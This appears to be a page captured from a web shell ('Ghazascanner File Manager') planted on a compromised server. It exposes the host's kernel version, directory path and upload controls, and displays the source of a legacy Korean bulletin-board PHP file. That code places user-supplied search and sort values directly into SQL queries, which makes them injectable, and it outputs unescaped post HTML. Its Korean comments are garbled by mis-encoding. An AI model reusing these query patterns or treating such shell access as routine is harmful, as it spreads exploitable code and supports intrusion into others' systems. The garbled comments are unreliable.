@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
board
/
skin
/
new02a_eng
/
files
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/board/skin/new02a_eng/files/prev_list.php
//¿¬¼Ó º¸±â¿¡¼´Â »ç¿ë ¾ÈÇÔ if($type != "bsk"){ //ÀÌÀü´ÙÀ½ÀÌ ¿É¼ÇÀÌ ÀÖ´Ù¸é if($move_option == "Y"){ $part_array = @explode("|",$part); if($word){ $part_sql = " and ("; while(list($k , $v) = each($part_array)){ //echo $v."<br>"; if($v != "N"){ $part_sql .= " $v LIKE '%$word%' or"; } } $part_sql = substr($part_sql, 0,-2); $part_sql .= ")"; } //ÆäÀÌ¡ º¯¼öµé $search = "&part=$part&word=$word&sort=$sort&view_id=$view_id&Admin_mode=$Admin_mode"; //ºÐ·ù $car_array = @explode(",",$car_array); if($car_option == "Y"){ //ºÐ·ù Á¤·Ä if($sort){ $SORT = " and sort='$sort' "; }else{ $SORT = " and sort = '$car_array[0]' "; $sort = $car_array[0]; } } //[ÀÌÀü][´ÙÀ½] if($db == "diary" || $db == "letter"){ if($view_id != ""){ if($word){ $SQL = "select count(*) from $tname1 where db='$db' and name2 = '$view_id' $part_sql $SORT and mstp = 0"; }else{ $SQL = "select count(*) from $tname1 where db='$db' and name2 = '$view_id' and mstp = 0 $SORT "; } }else { if($word){ $SQL = "select count(*) from $tname1 where db='$db' and mode = 'Y' $part_sql $SORT and mstp = 0"; }else{ $SQL = "select count(*) from $tname1 where db='$db' and mode = 'Y' and mstp = 0 $SORT "; } } } else { if($word){ $SQL = "select count(*) from $tname1 where db='$db' $part_sql $SORT and mstp = 0"; }else{ $SQL = "select count(*) from $tname1 where db='$db' and mstp = 0 $SORT "; } } $RS = mysql_query($SQL); $Row = mysql_fetch_array($RS); $total = $Row[0]; $totalpage = ceil($total/$pagesize); $start = ($page-1) * $pagesize; $pagesize_ = $pagesize + 1; if($db == "diary" || $db == "letter"){ if($view_id != ""){ if($word){ $SQL = "select * from $tname1 where db='$db' $part_sql $SORT and mstp = 0 and name2 = '$view_id' order by grp DESC,stp ASC "; $SQL .= "limit $start,$pagesize_"; }else{ $SQL = "select * from $tname1 where db='$db' and mstp = 0 and name2 = '$view_id' $SORT order by grp DESC,stp ASC limit $start,$pagesize_"; } }else { if($word){ $SQL = "select * from $tname1 where db='$db' $part_sql $SORT and mstp = 0 and mode = 'Y' order by grp DESC,stp ASC "; $SQL .= "limit $start,$pagesize_"; }else{ $SQL = "select * from $tname1 where db='$db' and mstp = 0 and mode = 'Y' $SORT order by grp DESC,stp ASC limit $start,$pagesize_"; } } }else { if($word){ $SQL = "select * from $tname1 where db='$db' $part_sql $SORT and mstp = 0 order by grp DESC,stp ASC "; $SQL .= "limit $start,$pagesize_"; }else{ $SQL = "select * from $tname1 where db='$db' and mstp = 0 $SORT order by grp DESC,stp ASC limit $start,$pagesize_"; } } //echo $SQL."<br>"; $RS = mysql_query($SQL); $to = mysql_num_rows($RS); for($h = 0 ; $h < $to ; $h++){ mysql_data_seek($RS, $h); $Row = mysql_fetch_Array($RS); if($id == $Row[0]){ //´ÙÀ½ $u = $h + 1; @mysql_data_seek($RS, $u); $N_Row = @mysql_fetch_Array($RS); //echo $N_Row[0]."1<br>"; //ÀÌÀü $q = $h - 1; if($q >= 0){@mysql_data_seek($RS, $q);$P_Row = @mysql_fetch_Array($RS);} //echo $P_Row[0]."2<br>"; } } echo" <table border='0' cellpadding='1' cellspacing='0' width='100%'> <tr> <td align=center>"; ###### PREV CONTENT ###### if($P_Row[0]){ echo" <table align=center border=0 cellpadding=0 cellspacing=0 width=100%> <tr> <td width=100% height=1 background='$skinurl/img/2x2dot.gif' colspan=6></td> </tr> <tr height='24' onMouseOver=\"this.style.backgroundColor='#F7F7F7'\" onMouseOut=\"this.style.backgroundColor='#FCF8F4'\" bgcolor='#FCF8F4'> <td width=40 nowrap align=center><img src='$skinurl/img/prev.gif'></td> <td width=100% style=word-break:break-all>"; //¸Þ¸ðÀϰæ¿ì ÇØ´ç ¸Þ¸ðÀÇ ¼ö·® if($memo_option == "Y"){ $SQLM = "select count(id) from $tname1 where db='$db' and grp='$P_Row[grp]' and stp='$P_Row[stp]' and loc='$P_Row[loc]' and mstp!=0"; $RSM = mysql_query($SQLM); $RowM = mysql_fetch_Array($RSM); if($RowM[0] != 0){ //$memo_num = " <img src='$skinurl/img/m_list.gif' align=absmiddle> <font size=\"1\"><b>($RowM[0])</b></font>"; $memo_num = " <font size='1' color='#002279'>[$RowM[0]]</font>"; }else{ $memo_num = ""; } } if($P_Row[html] == "Y"){ $subject = $P_Row[subject]; $content = $P_Row[content]; $name = $P_Row[name]; $home = $P_Row[home]; $email = $P_Row[email]; } else { $subject = htmlspecialchars($P_Row[subject]); $content = htmlspecialchars($P_Row[content]); $name = htmlspecialchars($P_Row[name]); $home = htmlspecialchars($P_Row[home]); $email = htmlspecialchars($P_Row[email]); $content = str_replace(chr("13"),"<BR>",$content); } //°Ë»ö´Ü¾î »öÄ¥Çϱâ if($word){ reset($part_array); $part_array_count = count($part_array); for($i = 0 ; $i < $part_array_count ; $i ++){ ${$part_array[$i]} = Search_Color($part_array[$i],$word,${$part_array[$i]}); } } //Email ó¸® if($email) $name = "<a href='mailto:$email'><b><a style='cursor:hand'>$name</b></a>"; //ÆÄÀÏÀÎÁö ¹®¼ÀÎÁö if($P_Row[filename]){ echo "<p><img src=$skinurl/img/file_icon.gif align=absmiddle> "; }else{ echo "<p><img src=$skinurl/img/text.gif align=absmiddle> "; } //Á¦¸ñ ·¹À̾î if($subject_layer == "Y"){ $P_layer = " onMouseOver=\"drs('content_$P_Row[id]'); return true;\" onMouseOut=\"nd(); return true;\" "; if($read_type_option == "N"){ echo "<input type=hidden name='content_$P_Row[id]' value='".cutting($content,$layer_limit)."'>\n\n"; } } //´äº¯Ç¥½Ã if($P_Row[loc]!=0){ for($h = 0;$h < $P_Row[loc];$h++) echo " "; echo "<img src=$skinurl/img/icon_re.gif> "; } echo "<a href=$PHP_SELF?db=$db&page=$page$search&id=$P_Row[id]&type=read $P_layer>".cutting($subject,$list_subject_limit)."</a> $memo_num $new_gul</p>"; //»õ±ÛÀ϶§ »¡°£»ö Ç¥½Ã if($new_option == "Y"){ if(substr($P_Row[wdate],0,10) == date("Y-m-d")){ $wdate = "<font color=red>".substr($P_Row[wdate],0,10)."</font>"; $new_gul = "<img src='$skinurl/new$new_icon.gif' alt='»õ±Û'>"; }else{ $wdate = substr($P_Row[wdate],0,10); } }else{ $wdate = substr($P_Row[wdate],0,10); } echo" </td> <td width=80 nowrap> $name</td> <td width=80 nowrap align=center>$wdate</td> <td width=40 nowrap align=center>$P_Row[hit]</td> </tr> </table>"; } ?> <? ###### NEXT CONTENT ###### if($N_Row[0]){ echo" <table align=center border=0 cellpadding=0 cellspacing=0 width=100%> <tr height='1'> <td background='$skinurl/img/2x2dot.gif' colspan=6></td> </tr> <tr height='24' onMouseOver=\"this.style.backgroundColor='#F7F7F7'\" onMouseOut=\"this.style.backgroundColor='#FCF8F4'\" bgcolor='#FCF8F4'> <td width=40 nowrap align=center><img src='$skinurl/img/next.gif' align='absmiddle'></td> <td width=100% style=word-break:break-all>"; //¸Þ¸ðÀϰæ¿ì ÇØ´ç ¸Þ¸ðÀÇ ¼ö·® if($memo_option == "Y"){ $SQLM = "select count(id) from $tname1 where db='$db' and grp='$N_Row[grp]' and stp='$N_Row[stp]' and loc='$N_Row[loc]' and mstp!=0"; $RSM = mysql_query($SQLM); $RowM = mysql_fetch_Array($RSM); if($RowM[0] != 0){ //$memo_num = " <img src='$skinurl/img/m_list.gif' align=absmiddle> <font size=\"1\"><b>($RowM[0])</b></font>"; $memo_num = " <font size='1' color='#002279'>[$RowM[0]]</font>"; }else{ $memo_num = ""; } } if($N_Row[html] == "Y"){ $subject = $N_Row[subject]; $content = $N_Row[content]; $name = $N_Row[name]; $home = $N_Row[home]; $email = $N_Row[email]; }else{ $subject = htmlspecialchars($N_Row[subject]); $content = htmlspecialchars($N_Row[content]); $name = htmlspecialchars($N_Row[name]); $home = htmlspecialchars($N_Row[home]); $email = htmlspecialchars($N_Row[email]); $content = str_replace(chr("13"),"<BR>",$content); } //°Ë»ö´Ü¾î »öÄ¥Çϱâ if($word){ reset($part_array); $part_array_count = count($part_array); for($i = 0 ; $i < $part_array_count ; $i ++){ ${$part_array[$i]} = Search_Color($part_array[$i],$word,${$part_array[$i]}); } } //Email ó¸® if($email){ $name = "<a href='mailto:$email'><b><a style=\"cursor:hand\">$name</b></a>"; } if($N_Row[filename]) echo "<p><img src=$skinurl/img/file_icon.gif align=absmiddle> "; else echo "<p><img src=$skinurl/img/text.gif align=absmiddle> "; //Á¦¸ñ ·¹À̾î if($subject_layer == "Y"){ $N_layer = " onMouseOver=\"drs('content_$N_Row[id]'); return true;\" onMouseOut=\"nd(); return true;\" "; if($read_type_option == "N") echo "<input type=hidden name='content_$N_Row[id]' value='".cutting($content,$layer_limit)."'>\n\n"; } //´äº¯Ç¥½Ã if($N_Row[loc]!=0){ for($h=0;$h < $N_Row[loc];$h++) echo " "; echo "<img src=$skinurl/img/icon_re.gif> "; } echo "<a href=$PHP_SELF?db=$db&page=$page$search&id=$N_Row[id]&type=read $N_layer>".cutting($subject,$list_subject_limit)."</a> $memo_num $new_gul</p>"; //»õ±ÛÀ϶§ »¡°£»ö Ç¥½Ã if($new_option == "Y"){ if(substr($N_Row[wdate],0,10) == date("Y-m-d")){ $wdate = "<font color=red>".substr($N_Row[wdate],0,10)."</font>"; $new_gul = "<img src='$skinurl/img/new$new_icon.gif' alt='»õ±Û'>"; }else{ $wdate = substr($N_Row[wdate],0,10); } }else{ $wdate = substr($N_Row[wdate],0,10); } echo" </td> <td width=80 nowrap> $name</td> <td width=80 nowrap align=center>$wdate</td> <td width=40 nowrap align=center>$N_Row[hit]</td> </tr> </table>"; } ?> <!-- ÀÌÀü ´ÙÀ½ --> </td> </tr> <? } ?> <? } ?>